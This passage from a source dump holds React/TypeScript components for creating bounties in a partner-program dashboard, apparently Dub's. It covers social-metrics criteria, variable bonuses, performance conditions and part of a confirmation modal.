    "content": "\"use client\";\n\nimport {\n  BOUNTY_SOCIAL_PLATFORM_METRICS_MAP,\n  BOUNTY_SOCIAL_PLATFORMS,\n} from \"@/lib/bounty/social-content\";\nimport type { BountySocialMetricsIncrementalBonus } from \"@/lib/types\";\nimport { RewardIconSquare } from \"@/ui/partners/rewards/reward-icon-square\";\nimport { X } from \"@/ui/shared/icons\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverContext,\n  InlineBadgePopoverInput,\n  InlineBadgePopoverMenu,\n} from \"@/ui/shared/inline-badge-popover\";\nimport {\n  ArrowTurnRight2,\n  Button,\n  Megaphone,\n  MoneyBills2,\n  Refresh2,\n  Tooltip,\n} from \"@dub/ui\";\nimport { currencyFormatter } from \"@dub/utils\";\nimport { nFormatter } from \"@dub/utils/src\";\nimport { HelpCircle } from \"lucide-react\";\nimport { useContext } from \"react\";\nimport { BountyAmountInput } from \"./bounty-amount-input\";\nimport {\n  CreateBountyInputExtended,\n  useBountyFormContext,\n} from \"./bounty-form-context\";\n\ninterface SocialMetricsVariableBonusProps {\n  variableBonus: BountySocialMetricsIncrementalBonus;\n  metricLabel: string;\n  onUpdate: (updates: Partial<BountySocialMetricsIncrementalBonus>) => void;\n  onRemove: () => void;\n}\n\nexport function BountyCriteriaSocialMetrics() {\n  const { watch, setValue } = useBountyFormContext();\n\n  const [submissionRequirements, rewardAmount] = watch([\n    \"submissionRequirements\",\n    \"rewardAmount\",\n  ]);\n\n  const socialMetrics = submissionRequirements?.socialMetrics;\n  const hasChannel = socialMetrics?.platform != null;\n  const hasMinCount =\n    socialMetrics?.minCount != null && socialMetrics.minCount > 0;\n  const hasMetric = socialMetrics?.metric != null;\n  const incrementalBonus = socialMetrics?.incrementalBonus;\n\n  const updateRequirements = (\n    data: CreateBountyInputExtended[\"submissionRequirements\"],\n  ) => {\n    setValue(\n      \"submissionRequirements\",\n      {\n        ...submissionRequirements,\n        ...data,\n      },\n      {\n        shouldDirty: true,\n      },\n    );\n  };\n\n  const channelLabel = hasChannel\n    ? BOUNTY_SOCIAL_PLATFORMS.find((c) => c.value === socialMetrics.platform)\n        ?.label ?? socialMetrics.platform\n    : \"channel\";\n\n  const metricLabel = hasMetric\n    ? BOUNTY_SOCIAL_PLATFORM_METRICS_MAP[socialMetrics.platform]?.find(\n        (m) => m.value === socialMetrics.metric,\n      )?.label ?? socialMetrics.metric\n    : \"metric\";\n\n  const metricPlatformForMenu = socialMetrics?.platform ?? \"youtube\";\n\n  return (\n    <div className=\"flex flex-col gap-0\">\n      <div className=\"border-border-subtle rounded-xl border bg-white shadow-sm\">\n        <div className=\"flex items-center gap-2.5 p-2.5\">\n          <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md bg-neutral-100\">\n            <Megaphone className=\"size-4 text-neutral-800\" />\n          </div>\n          <span className=\"text-content-emphasis text-sm font-medium leading-relaxed\">\n            If their post on{\" \"}\n            <InlineBadgePopover\n              text={channelLabel}\n              invalid={!hasChannel}\n              buttonClassName={\n                hasChannel\n                  ? \"!bg-blue-50 !text-blue-700 hover:!bg-blue-100\"\n                  : \"!bg-orange-50 !text-orange-500 hover:!bg-orange-100\"\n              }\n            >\n              <InlineBadgePopoverMenu\n                items={BOUNTY_SOCIAL_PLATFORMS.map((c) => ({\n                  value: c.value,\n                  text: c.label,\n                }))}\n                selectedValue={socialMetrics?.platform}\n                onSelect={(value) => {\n                  const platformMetrics =\n                    BOUNTY_SOCIAL_PLATFORM_METRICS_MAP[value];\n\n                  const metric =\n                    socialMetrics?.metric &&\n                    platformMetrics?.some(\n                      (m) => m.value === socialMetrics.metric,\n                    )\n                      ? socialMetrics.metric\n                      : platformMetrics?.[0]?.value ?? \"views\";\n\n                  updateRequirements({\n                    socialMetrics: {\n                      ...socialMetrics,\n                      platform: value,\n                      metric,\n                    },\n                  });\n                }}\n              />\n            </InlineBadgePopover>{\" \"}\n            has at least{\" \"}\n            <InlineBadgePopover\n              text={\n                hasMinCount\n                  ? String(nFormatter(socialMetrics!.minCount, { full: true }))\n                  : \"metrics\"\n              }\n              invalid={!hasMinCount}\n              buttonClassName={\n                hasMinCount\n                  ? \"!bg-blue-50 !text-blue-700 hover:!bg-blue-100\"\n                  : \"!bg-orange-50 !text-orange-500 hover:!bg-orange-100\"\n              }\n            >\n              <InlineBadgePopoverInput\n                type=\"number\"\n                min={0}\n                value={\n                  socialMetrics?.minCount == null ||\n                  socialMetrics?.minCount === 0\n                    ? \"\"\n                    : String(socialMetrics.minCount)\n                }\n                onChange={(e) => {\n                  const raw = (e.target as HTMLInputElement).value;\n\n                  if (raw === \"\") {\n                    updateRequirements({\n                      socialMetrics: {\n                        ...socialMetrics,\n                        platform: socialMetrics?.platform ?? \"youtube\",\n                        metric: socialMetrics?.metric ?? \"views\",\n                        minCount: 0,\n                      },\n                    });\n                    return;\n                  }\n\n                  const num = parseInt(raw, 10);\n\n                  updateRequirements({\n                    socialMetrics: {\n                      ...socialMetrics,\n                      platform: socialMetrics?.platform ?? \"youtube\",\n                      metric: socialMetrics?.metric ?? \"views\",\n                      minCount: Number.isNaN(num) ? 0 : Math.max(0, num),\n                    },\n                  });\n                }}\n                placeholder=\"metrics\"\n              />\n            </InlineBadgePopover>{\" \"}\n            <InlineBadgePopover\n              text={metricLabel}\n              invalid={!hasMetric}\n              buttonClassName={\n                hasMetric\n                  ? \"!bg-blue-50 !text-blue-700 hover:!bg-blue-100\"\n                  : \"!bg-orange-50 !text-orange-500 hover:!bg-orange-100\"\n              }\n            >\n              <InlineBadgePopoverMenu\n                items={\n                  BOUNTY_SOCIAL_PLATFORM_METRICS_MAP[\n                    metricPlatformForMenu\n                  ]?.map((m) => ({ value: m.value, text: m.label })) ?? []\n                }\n                selectedValue={socialMetrics?.metric}\n                onSelect={(v) =>\n                  updateRequirements({\n                    socialMetrics: {\n                      ...socialMetrics,\n                      platform: socialMetrics?.platform ?? \"youtube\",\n                      metric: v,\n                    },\n                  })\n                }\n              />\n            </InlineBadgePopover>\n          </span>\n        </div>\n      </div>\n\n      <div className=\"bg-border-subtle ml-6 h-4 w-px shrink-0\" />\n\n      <div className=\"border-border-subtle rounded-xl border bg-white shadow-sm\">\n        <div className=\"flex items-center gap-2.5 p-2.5\">\n          <RewardIconSquare icon={MoneyBills2} />\n          <span className=\"text-content-emphasis text-sm font-medium leading-relaxed\">\n            Then pay{\" \"}\n            <InlineBadgePopover\n              text={\n                rewardAmount != null && !isNaN(rewardAmount)\n                  ? currencyFormatter(rewardAmount * 100, {\n                      trailingZeroDisplay: \"stripIfInteger\",\n                    })\n                  : \"$0\"\n              }\n              invalid={\n                rewardAmount == null || isNaN(rewardAmount) || rewardAmount < 0\n              }\n              buttonClassName={\n                rewardAmount != null &&\n                !isNaN(rewardAmount) &&\n                rewardAmount >= 0\n                  ? \"!bg-blue-50 !text-blue-700 hover:!bg-blue-100\"\n                  : \"!bg-orange-50 !text-orange-500 hover:!bg-orange-100\"\n              }\n            >\n              <BountyAmountInput name=\"rewardAmount\" />\n            </InlineBadgePopover>\n          </span>\n        </div>\n      </div>\n\n      {socialMetrics && !incrementalBonus && (\n        <div className=\"border-bg-subtle mt-4 rounded-xl border bg-neutral-100 p-2.5\">\n          <Button\n            text=\"Add variable bonus\"\n            onClick={() =>\n              updateRequirements({\n                socialMetrics: {\n                  ...socialMetrics,\n                  incrementalBonus: {},\n                },\n              })\n            }\n            variant=\"secondary\"\n            icon={<ArrowTurnRight2 className=\"size-4 text-neutral-900\" />}\n            className=\"h-8 rounded-lg\"\n          />\n        </div>\n      )}\n\n      {incrementalBonus && (\n        <SocialMetricsIncrementalBonus\n          variableBonus={incrementalBonus}\n          metricLabel={metricLabel}\n          onUpdate={(updates) =>\n            updateRequirements({\n              socialMetrics: {\n                ...socialMetrics,\n                incrementalBonus: {\n                  ...incrementalBonus,\n                  ...updates,\n                },\n              },\n            })\n          }\n          onRemove={() =>\n            updateRequirements({\n              socialMetrics: {\n                ...socialMetrics,\n                incrementalBonus: undefined,\n              },\n            })\n          }\n        />\n      )}\n    </div>\n  );\n}\n\nfunction SocialMetricsIncrementalBonus({\n  variableBonus,\n  metricLabel,\n  onUpdate,\n  onRemove,\n}: SocialMetricsVariableBonusProps) {\n  return (\n    <div className=\"border-border-subtle mt-4 overflow-hidden rounded-xl border bg-neutral-100 p-2.5 pt-0 shadow-sm\">\n      <div className=\"flex items-center justify-between py-2.5\">\n        <div className=\"flex items-center gap-2 px-2\">\n          <ArrowTurnRight2 className=\"size-4 text-neutral-800\" />\n          <span className=\"text-sm font-medium text-neutral-800\">\n            Variable bonus\n          </span>\n          <Tooltip\n            content=\"Partners earn the base payout when they hit the threshold, plus an extra amount for each additional increment up to the cap.\"\n            side=\"top\"\n          >\n            <div className=\"text-neutral-400 hover:text-neutral-600\">\n              <HelpCircle className=\"size-3.5\" />\n            </div>\n          </Tooltip>\n        </div>\n\n        <button\n          type=\"button\"\n          onClick={onRemove}\n          className=\"ml-auto text-neutral-400 hover:text-neutral-600\"\n          aria-label=\"Remove variable bonus\"\n        >\n          <X className=\"size-4\" />\n        </button>\n      </div>\n\n      <div className=\"flex flex-col gap-0 rounded-xl border border-neutral-200 bg-white px-2.5 py-3\">\n        <div className=\"border-border-subtle rounded-xl border bg-white shadow-sm\">\n          <div className=\"flex items-center gap-2.5 p-2.5\">\n            <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md bg-neutral-100\">\n              <Megaphone className=\"size-4 text-neutral-800\" />\n            </div>\n            <span className=\"text-content-emphasis text-sm font-medium leading-relaxed\">\n              For each additional{\" \"}\n              <InlineBadgePopover\n                text={\n                  variableBonus.incrementCount != null &&\n                  variableBonus.incrementCount >= 1\n                    ? String(\n                        nFormatter(variableBonus.incrementCount, {\n                          full: true,\n                        }),\n                      )\n                    : \"amount\"\n                }\n                invalid={\n                  variableBonus.incrementCount == null ||\n                  variableBonus.incrementCount < 1\n                }\n                buttonClassName={\n                  variableBonus.incrementCount != null &&\n                  variableBonus.incrementCount >= 1\n                    ? \"!bg-blue-50 !text-blue-700 hover:!bg-blue-100\"\n                    : \"!bg-orange-50 !text-orange-500 hover:!bg-orange-100\"\n                }\n              >\n                <InlineBadgePopoverInput\n                  type=\"number\"\n                  min={1}\n                  value={\n                    variableBonus.incrementCount != null\n                      ? String(variableBonus.incrementCount)\n                      : \"\"\n                  }\n                  onChange={(e) => {\n                    const raw = (e.target as HTMLInputElement).value;\n                    const num = raw === \"\" ? undefined : parseInt(raw, 10);\n                    onUpdate({\n                      incrementCount:\n                        num === undefined || Number.isNaN(num)\n                          ? undefined\n                          : Math.max(1, num),\n                    });\n                  }}\n                  placeholder=\"amount\"\n                />\n              </InlineBadgePopover>{\" \"}\n              {metricLabel}\n            </span>\n          </div>\n        </div>\n        <div className=\"bg-border-subtle ml-6 h-4 w-px shrink-0\" />\n        <div className=\"border-border-subtle rounded-xl border bg-white shadow-sm\">\n          <div className=\"flex items-center gap-2.5 p-2.5\">\n            <RewardIconSquare icon={MoneyBills2} />\n            <span className=\"text-content-emphasis text-sm font-medium leading-relaxed\">\n              Pay{\" \"}\n              <InlineBadgePopover\n                text={\n                  variableBonus.bonusPerIncrement != null &&\n                  !isNaN(variableBonus.bonusPerIncrement) &&\n                  variableBonus.bonusPerIncrement >= 0\n                    ? currencyFormatter(variableBonus.bonusPerIncrement * 100, {\n                        trailingZeroDisplay: \"stripIfInteger\",\n                      })\n                    : \"amount\"\n                }\n                invalid={\n                  variableBonus.bonusPerIncrement == null ||\n                  isNaN(variableBonus.bonusPerIncrement) ||\n                  variableBonus.bonusPerIncrement < 0\n                }\n                buttonClassName={\n                  variableBonus.bonusPerIncrement != null &&\n                  !isNaN(variableBonus.bonusPerIncrement) &&\n                  variableBonus.bonusPerIncrement >= 0\n                    ? \"!bg-blue-50 !text-blue-700 hover:!bg-blue-100\"\n                    : \"!bg-orange-50 !text-orange-500 hover:!bg-orange-100\"\n                }\n              >\n                <VariableBonusAmountInput\n                  value={variableBonus.bonusPerIncrement}\n                  onChange={(v) => onUpdate({ bonusPerIncrement: v })}\n                />\n              </InlineBadgePopover>\n            </span>\n          </div>\n        </div>\n        <div className=\"bg-border-subtle ml-6 h-4 w-px shrink-0\" />\n        <div className=\"border-border-subtle rounded-xl border bg-white shadow-sm\">\n          <div className=\"flex items-center gap-2.5 p-2.5\">\n            <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md bg-neutral-100\">\n              <Refresh2 className=\"size-4 text-neutral-800\" />\n            </div>\n            <span className=\"text-content-emphasis text-sm font-medium leading-relaxed\">\n              Up to{\" \"}\n              <InlineBadgePopover\n                text={\n                  variableBonus.maxCount != null && variableBonus.maxCount >= 1\n                    ? String(nFormatter(variableBonus.maxCount, { full: true }))\n                    : \"amount\"\n                }\n                invalid={\n                  variableBonus.maxCount == null || variableBonus.maxCount < 1\n                }\n                buttonClassName={\n                  variableBonus.maxCount != null && variableBonus.maxCount >= 1\n                    ? \"!bg-blue-50 !text-blue-700 hover:!bg-blue-100\"\n                    : \"!bg-orange-50 !text-orange-500 hover:!bg-orange-100\"\n                }\n              >\n                <InlineBadgePopoverInput\n                  type=\"number\"\n                  min={1}\n                  value={\n                    variableBonus.maxCount != null\n                      ? String(variableBonus.maxCount)\n                      : \"\"\n                  }\n                  onChange={(e) => {\n                    const raw = (e.target as HTMLInputElement).value;\n                    const num = raw === \"\" ? undefined : parseInt(raw, 10);\n                    onUpdate({\n                      maxCount:\n                        num === undefined || Number.isNaN(num)\n                          ? undefined\n                          : Math.max(1, num),\n                    });\n                  }}\n                  placeholder=\"amount\"\n                />\n              </InlineBadgePopover>{\" \"}\n              {metricLabel}\n            </span>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n}\n\nfunction VariableBonusAmountInput({\n  value,\n  onChange,\n}: {\n  value?: number;\n  onChange: (value: number | undefined) => void;\n}) {\n  const { setIsOpen } = useContext(InlineBadgePopoverContext);\n  return (\n    <div className=\"relative rounded-md shadow-sm\">\n      <span className=\"absolute inset-y-0 left-0 flex items-center pl-1.5 text-sm text-neutral-400\">\n        $\n      </span>\n      <input\n        className=\"block w-full rounded-md border-neutral-300 px-1.5 py-1 pl-4 pr-12 text-neutral-900 placeholder-neutral-400 focus:border-neutral-500 focus:outline-none focus:ring-neutral-500 sm:w-32 sm:text-sm\"\n        type=\"number\"\n        min={0}\n        step={0.01}\n        value={value != null && !isNaN(value) && value >= 0 ? value : \"\"}\n        onChange={(e) => {\n          const raw = (e.target as HTMLInputElement).value;\n          const num = raw === \"\" ? undefined : parseFloat(raw);\n          onChange(\n            num === undefined || Number.isNaN(num)\n              ? undefined\n              : Math.max(0, num),\n          );\n        }}\n        onKeyDown={(e) => {\n          if (e.key === \"Enter\") {\n            e.preventDefault();\n            setIsOpen?.(false);\n          }\n        }}\n      />\n      <span className=\"absolute inset-y-0 right-0 flex items-center pr-1.5 text-sm text-neutral-400\">\n        USD\n      </span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/bounty-criteria.tsx",
    "content": "\"use client\";\n\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { usePartnersUpgradeModal } from \"@/ui/partners/partners-upgrade-modal\";\nimport {\n  ProgramSheetAccordionContent,\n  ProgramSheetAccordionItem,\n  ProgramSheetAccordionTrigger,\n} from \"@/ui/partners/program-sheet-accordion\";\nimport { RewardIconSquare } from \"@/ui/partners/rewards/reward-icon-square\";\nimport { InlineBadgePopover } from \"@/ui/shared/inline-badge-popover\";\nimport { MoneyBills2, ToggleGroup } from \"@dub/ui\";\nimport { cn, currencyFormatter } from \"@dub/utils\";\nimport { useMemo } from \"react\";\nimport { BountyAmountInput } from \"./bounty-amount-input\";\nimport { BountyCriteriaManualSubmission } from \"./bounty-criteria-manual-submission\";\nimport { BountyCriteriaSocialMetrics } from \"./bounty-criteria-social-metrics\";\nimport { useBountyFormContext } from \"./bounty-form-context\";\nimport { BountyLogic } from \"./bounty-logic\";\n\nconst BOUNTY_SUBMISSION_TYPES = [\n  {\n    value: \"manualSubmission\",\n    label: \"Manual submission\",\n  },\n  {\n    value: \"socialMetrics\",\n    label: \"Social metrics\",\n  },\n] as const;\n\ntype BountySubmissionType = (typeof BOUNTY_SUBMISSION_TYPES)[number][\"value\"];\n\nexport function BountyCriteria() {\n  const { plan } = useWorkspace();\n  const { partnersUpgradeModal, setShowPartnersUpgradeModal } =\n    usePartnersUpgradeModal();\n\n  const canUseBountySocialMetrics =\n    getPlanCapabilities(plan).canUseBountySocialMetrics;\n\n  const { watch, setValue } = useBountyFormContext();\n\n  const [\n    type,\n    rewardAmount,\n    submissionRequirements,\n    rewardType = \"flat\",\n    submissionCriteriaType = \"manualSubmission\",\n  ] = watch([\n    \"type\",\n    \"rewardAmount\",\n    \"submissionRequirements\",\n    \"rewardType\",\n    \"submissionCriteriaType\",\n  ]);\n\n  const requireImage = !!submissionRequirements?.image;\n  const requireUrl = !!submissionRequirements?.url;\n  const imageMax = submissionRequirements?.image?.max;\n  const urlMax = submissionRequirements?.url?.max;\n  const urlDomains = submissionRequirements?.url?.domains ?? [];\n\n  const updateSubmissionRequirements = (\n    imageRequired: boolean,\n    urlRequired: boolean,\n    imageMaxCount?: number,\n    urlMaxCount?: number,\n    urlDomainsList?: string[],\n  ) => {\n    const requirements: {\n      image?: { max?: number };\n      url?: { max?: number; domains?: string[] };\n    } = {};\n\n    if (imageRequired) {\n      requirements.image = {};\n\n      if (imageMaxCount !== undefined) {\n        requirements.image.max = imageMaxCount;\n      }\n    }\n\n    if (urlRequired) {\n      requirements.url = {};\n\n      if (urlMaxCount !== undefined) {\n        requirements.url.max = urlMaxCount;\n      }\n\n      if (urlDomainsList && urlDomainsList.length > 0) {\n        requirements.url.domains = urlDomainsList;\n      }\n    }\n\n    setValue(\n      \"submissionRequirements\",\n      Object.keys(requirements).length > 0 ? requirements : null,\n      { shouldDirty: true },\n    );\n  };\n\n  const showPerformanceContent = type === \"performance\";\n  const showSubmissionContent = type === \"submission\";\n\n  const showWhenThenCards =\n    (rewardType === \"flat\" || type === \"performance\") &&\n    (type === \"performance\" ||\n      (type === \"submission\" && rewardType === \"flat\"));\n\n  const submissionTypeOptions = useMemo(\n    () => [\n      {\n        value: \"manualSubmission\",\n        label: \"Manual submission\",\n      },\n      {\n        value: \"socialMetrics\",\n        label: !canUseBountySocialMetrics ? (\n          <span className=\"flex shrink-0 items-center gap-2 whitespace-nowrap\">\n            Social metrics\n            <span\n              className={cn(\n                \"rounded-sm px-1.5 py-1 text-[0.625rem] uppercase leading-none\",\n                \"bg-violet-50 text-violet-600\",\n              )}\n            >\n              UPGRADE REQUIRED\n            </span>\n          </span>\n        ) : (\n          \"Social metrics\"\n        ),\n      },\n    ],\n    [canUseBountySocialMetrics],\n  );\n\n  return (\n    <ProgramSheetAccordionItem value=\"bounty-criteria\">\n      <ProgramSheetAccordionTrigger>Criteria</ProgramSheetAccordionTrigger>\n      <ProgramSheetAccordionContent>\n        <div className=\"space-y-6\">\n          {showSubmissionContent && (\n            <>\n              {partnersUpgradeModal}\n              <p className=\"text-content-default text-sm leading-relaxed\">\n                Set how partners claim bounties and how they&apos;re verified.\n                By default an open text field is provided.\n              </p>\n              <ToggleGroup\n                className=\"flex w-full items-center gap-1 rounded-md border border-neutral-200 bg-neutral-100 p-1\"\n                optionClassName=\"h-8 flex flex-1 items-center justify-center gap-2 rounded-md text-sm whitespace-nowrap\"\n                indicatorClassName=\"bg-white border border-neutral-200 rounded-md shadow-sm\"\n                options={submissionTypeOptions}\n                selected={submissionCriteriaType}\n                selectAction={(id: BountySubmissionType) => {\n                  setValue(\"submissionCriteriaType\", id);\n\n                  if (id === \"socialMetrics\") {\n                    setValue(\n                      \"submissionRequirements\",\n                      {\n                        socialMetrics: submissionRequirements?.socialMetrics,\n                      },\n                      {\n                        shouldDirty: true,\n                      },\n                    );\n                  } else {\n                    updateSubmissionRequirements(\n                      requireImage,\n                      requireUrl,\n                      imageMax,\n                      urlMax,\n                      urlDomains,\n                    );\n                  }\n                }}\n              />\n\n              {submissionCriteriaType === \"manualSubmission\" && (\n                <BountyCriteriaManualSubmission />\n              )}\n\n              {submissionCriteriaType === \"socialMetrics\" && (\n                <BountyCriteriaSocialMetrics />\n              )}\n            </>\n          )}\n\n          {showPerformanceContent && showWhenThenCards && (\n            <div className=\"flex flex-col gap-0\">\n              <div className=\"border-border-subtle rounded-xl border bg-white shadow-sm\">\n                <div className=\"flex items-center gap-2.5 p-2.5\">\n                  <BountyLogic />\n                </div>\n              </div>\n\n              <div className=\"bg-border-subtle ml-6 h-4 w-px shrink-0\" />\n\n              <div className=\"border-border-subtle rounded-xl border bg-white shadow-sm\">\n                <div className=\"flex items-center gap-2.5 p-2.5\">\n                  <RewardIconSquare icon={MoneyBills2} />\n                  <span className=\"text-content-emphasis text-sm font-medium leading-relaxed\">\n                    Then pay{\" \"}\n                    <InlineBadgePopover\n                      text={\n                        rewardAmount != null &&\n                        !isNaN(rewardAmount) &&\n                        rewardAmount >= 0\n                          ? currencyFormatter(rewardAmount * 100, {\n                              trailingZeroDisplay: \"stripIfInteger\",\n                            })\n                          : \"amount\"\n                      }\n                      invalid={\n                        rewardAmount == null ||\n                        isNaN(rewardAmount) ||\n                        rewardAmount < 0\n                      }\n                    >\n                      <BountyAmountInput name=\"rewardAmount\" />\n                    </InlineBadgePopover>\n                  </span>\n                </div>\n              </div>\n            </div>\n          )}\n\n          {rewardType === \"custom\" &&\n            showSubmissionContent &&\n            submissionCriteriaType === \"manualSubmission\" && (\n              <div className=\"rounded-lg bg-orange-50 px-4 py-2 text-center\">\n                <span className=\"text-sm font-medium leading-5 text-orange-900\">\n                  When reviewing these submissions, a custom reward amount will\n                  be required to approve.\n                </span>\n              </div>\n            )}\n        </div>\n      </ProgramSheetAccordionContent>\n    </ProgramSheetAccordionItem>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/bounty-form-context.tsx",
    "content": "\"use client\";\n\nimport { CreateBountyInput } from \"@/lib/types\";\nimport { useFormContext } from \"react-hook-form\";\n\nexport type CreateBountyInputExtended = CreateBountyInput & {\n  rewardType?: \"flat\" | \"custom\";\n  submissionCriteriaType?: \"manualSubmission\" | \"socialMetrics\";\n};\n\nexport const useBountyFormContext = () =>\n  useFormContext<CreateBountyInputExtended>();\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/bounty-logic.tsx",
    "content": "\"use client\";\n\nimport { isCurrencyAttribute } from \"@/lib/api/workflows/utils\";\nimport { PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES } from \"@/lib/bounty/api/performance-bounty-scope-attributes\";\nimport { WORKFLOW_ATTRIBUTES } from \"@/lib/zod/schemas/workflows\";\nimport {\n  InlineBadgePopover,\n  InlineBadgePopoverMenu,\n} from \"@/ui/shared/inline-badge-popover\";\nimport { Trophy } from \"@dub/ui/icons\";\nimport { cn, currencyFormatter, nFormatter } from \"@dub/utils\";\nimport { Controller } from \"react-hook-form\";\nimport { BountyAmountInput } from \"./bounty-amount-input\";\nimport { useBountyFormContext } from \"./bounty-form-context\";\n\nexport function BountyLogic({ className }: { className?: string }) {\n  const { control, watch } = useBountyFormContext();\n\n  const [attribute, value] = watch([\n    \"performanceCondition.attribute\",\n    \"performanceCondition.value\",\n  ]);\n\n  return (\n    <div className={cn(\"flex w-full items-center gap-1.5\", className)}>\n      <div className=\"flex size-7 shrink-0 items-center justify-center rounded-md bg-neutral-100\">\n        <Trophy className=\"size-4 text-neutral-800\" />\n      </div>\n      <span className=\"text-content-emphasis text-sm font-medium leading-relaxed\">\n        When partner's{\" \"}\n        <div className=\"inline-flex items-center gap-1\">\n          <Controller\n            control={control}\n            name=\"performanceScope\"\n            render={({ field }) => (\n              <InlineBadgePopover text={field.value} invalid={!field.value}>\n                <InlineBadgePopoverMenu\n                  selectedValue={field.value}\n                  onSelect={field.onChange}\n                  items={[\n                    { text: \"new\", value: \"new\" },\n                    { text: \"lifetime\", value: \"lifetime\" },\n                  ]}\n                />\n              </InlineBadgePopover>\n            )}\n          />\n          <Controller\n            control={control}\n            name=\"performanceCondition.attribute\"\n            render={({ field }) => (\n              <InlineBadgePopover\n                text={\n                  field.value\n                    ? PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[\n                        field.value\n                      ].toLowerCase()\n                    : \"activity\"\n                }\n                invalid={!field.value}\n              >\n                <InlineBadgePopoverMenu\n                  selectedValue={field.value}\n                  onSelect={field.onChange}\n                  items={WORKFLOW_ATTRIBUTES.filter(\n                    (attr) => PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[attr],\n                  ).map((attribute) => ({\n                    text: PERFORMANCE_BOUNTY_SCOPE_ATTRIBUTES[\n                      attribute\n                    ].toLowerCase(),\n                    value: attribute,\n                  }))}\n                />\n              </InlineBadgePopover>\n            )}\n          />\n        </div>\n        {attribute && (\n          <>\n            {\" \"}\n            is at least{\" \"}\n            <InlineBadgePopover\n              text={\n                value\n                  ? isCurrencyAttribute(attribute)\n                    ? currencyFormatter(value * 100, {\n                        trailingZeroDisplay: \"stripIfInteger\",\n                      })\n                    : nFormatter(value, { full: true })\n                  : \"amount\"\n              }\n              invalid={!value}\n            >\n              <BountyAmountInput\n                name=\"performanceCondition.value\"\n                emptyValue={undefined}\n              />\n            </InlineBadgePopover>\n          </>\n        )}\n      </span>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/bounties/add-edit-bounty/confirm-create-bounty-modal.tsx",
    "content": "import { getBountyRewardDescription } from \"@/lib/bounty/rewards\";\nimport { getPlanCapabilities } from \"@/lib/plan-capabilities\";\nimport useGroups from \"@/lib/swr/use-groups\";\nimport { usePartnersCountByGroupIds } from \"@/lib/swr/use-partners-count-by-groupids\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { BountyProps } from \"@/lib/types\";\nimport { BountyThumbnailImage } from \"@/ui/partners/bounties/bounty-thumbnail-image\";\nimport { GroupColorCircle } from \"@/ui/partners/groups/group-color-circle\";\nimport {\n  Button,\n  Calendar6,\n  Checkbox,\n  DynamicTooltipWrapper,\n  Gift,\n  Modal,\n  ScrollableTooltipContent,\n  Tooltip,\n  TooltipContent,\n} from \"@dub/ui\";\nimport { Users6 } from \"@dub/ui/icons\";\nimport { formatDate, nFormatter, pluralize } from \"@dub/utils\";\nimport { cn } from \"@dub/utils/src\";\nimport { Dispatch, SetStateAction, useMemo, useState } from \"react\";\n\ntype ConfirmCreateBountyModalProps = {\n  bounty?: Pick<\n    BountyProps,\n    | \"type\"\n    | \"name\"\n    | \"startsAt\"\n    | \"endsAt\"\n    | \"rewardAmount\"\n    | \"rewardDescription\"\n    | \"submissionRequirements\"\n    | \"groups\"\n  >;\n  onConfirm: (data: { sendNotificationEmails: boolean }) => Promise<void>;\n};\n\nfunction ConfirmCreateBountyModal({\n  showConfirmCreateBountyModal,\n  setShowConfirmCreateBountyModal,\n  bounty,\n  onConfirm,\n}: {\n  showConfirmCreateBountyModal: boolean;\n  setShowConfirmCreateBountyModal: Dispatch<SetStateAction<boolean>>;\n} & ConfirmCreateBountyModalProps) {\n  const { plan, slug: workspaceSlug, isOwner } = useWorkspace();\n  const { canSendEmailCampaigns } = getPlanCapabilities(plan);\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [sendNotificationEmails, setSendNotificationEmails] = useState(\n    canSendEmailCampaigns,\n  );\n\n  const { totalPartners, loading } = usePartnersCountByGroupIds({\n    groupIds: bounty?.groups?.map((group) => group.id) ?? [],\n  });\n\n  const { groups } = useGroups();\n\n  const eligibleGroups = useMemo(() => {\n    if (!groups || !bounty || bounty.groups.length === 0) {\n      return [];\n    }\n    return bounty.groups\n      .map((bountyGroup) => groups.find((g) => g.id === bountyGroup.id))\n      .filter((g): g is NonNullable<typeof g> => g !== undefined);\n  }, [groups, bounty?.groups]);\n\n  const handleConfirm = async () => {\n    setIsLoading(true);\n    try {\n      await onConfirm({ sendNotificationEmails });\n      setShowConfirmCreateBountyModal(false);\n    } finally {\n      setIsLoading(false);\n    }\n  };\n\n  return bounty ? (\n    <Modal\n      showModal={showConfirmCreateBountyModal}\n      setShowModal={setShowConfirmCreateBountyModal}\n    >\n      <div className=\"px-5 py-4 text-left\">\n        <h3 className=\"text-content-emphasis text-base font-semibold\">\n          Confirm bounty creation\n        </h3>\n        <p className=\"text-content-subtle mt-1 text-sm\">\n          You are about to create this bounty for the selected partner groups.\n        </p>\n\n        <div className=\"border-border-subtle mt-4 rounded-xl border bg-white p-2\">\n          <div className=\"flex flex-col gap-3.5\">\n            <div className=\"relative flex h-[124px] items-center justify-center rounded-lg bg-neutral-100 py-5\">\n              <div className=\"relative size-full\">\n                <BountyThumbnailImage bounty={bounty} />\n              </div>\n            </div>\n\n            <div className=\"flex flex-col gap-1.5 px-2 pb-1.5\">\n              <h3 className=\"text-content-emphasis truncate text-sm font-semibold\">\n                {bounty.name}\n              </h3>\n\n              <div className=\"text-content-subtle font-regular flex items-center gap-2 text-sm\">\n                <Calendar6 className=\"size-3.5\" />\n                <span>\n                  {formatDate(bounty.startsAt, { month: \"short\" })}\n                  {bounty.endsAt && (\n                    <>\n                      {\" → \"}\n                      {formatDate(bounty.endsAt, { month: \"short\" })}\n                    </>\n                  )}\n                </span>\n              </div>\n\n              {!isOwner && (\n                <div className=\"text-content-subtle font-regular flex items-center gap-2 